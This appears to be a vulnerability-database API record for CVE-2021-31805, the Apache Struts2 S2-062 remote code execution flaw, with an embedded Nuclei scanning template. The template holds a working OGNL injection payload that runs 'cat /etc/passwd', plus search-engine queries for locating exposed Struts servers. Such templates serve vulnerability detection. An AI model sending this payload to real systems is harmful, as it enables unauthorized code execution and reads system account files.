{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-31805/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-31805/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-31805/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-31805/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-31805/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-31805"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-31805"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-31805.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-31805\n\ninfo:\n  name: Apache Struts2 S2-062 - Remote Code Execution\n  author: taielab\n  severity: critical\n  description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.\n  impact: |\n    Remote code execution\n  remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.\n  reference:\n    - https://cwiki.apache.org/confluence/display/WW/S2-062\n    - https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-31805\n    - http://www.openwall.com/lists/oss-security/2022/04/12/6\n    - https://security.netapp.com/advisory/ntap-20220420-0001/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-31805\n    cwe-id: CWE-917\n    epss-score: 0.85433\n    epss-percentile: 0.99709\n    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - http.html:\"apache struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve2021,cve,apache,rce,struts,struts2,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\n        Content-Length: 1095\n\n        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\n        Content-Disposition: form-data; name=\"id\"\n\n        %{\n        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\n        }\n\n        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100a6138b5ad364bb5714307a74e5a1694b76ff41e7eb86cbc72bdc8214b45e657b022001ad54f3533a8ec17b0589ad006efcc1437ed13fe1338c4d1215076136243f8b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-31805"
}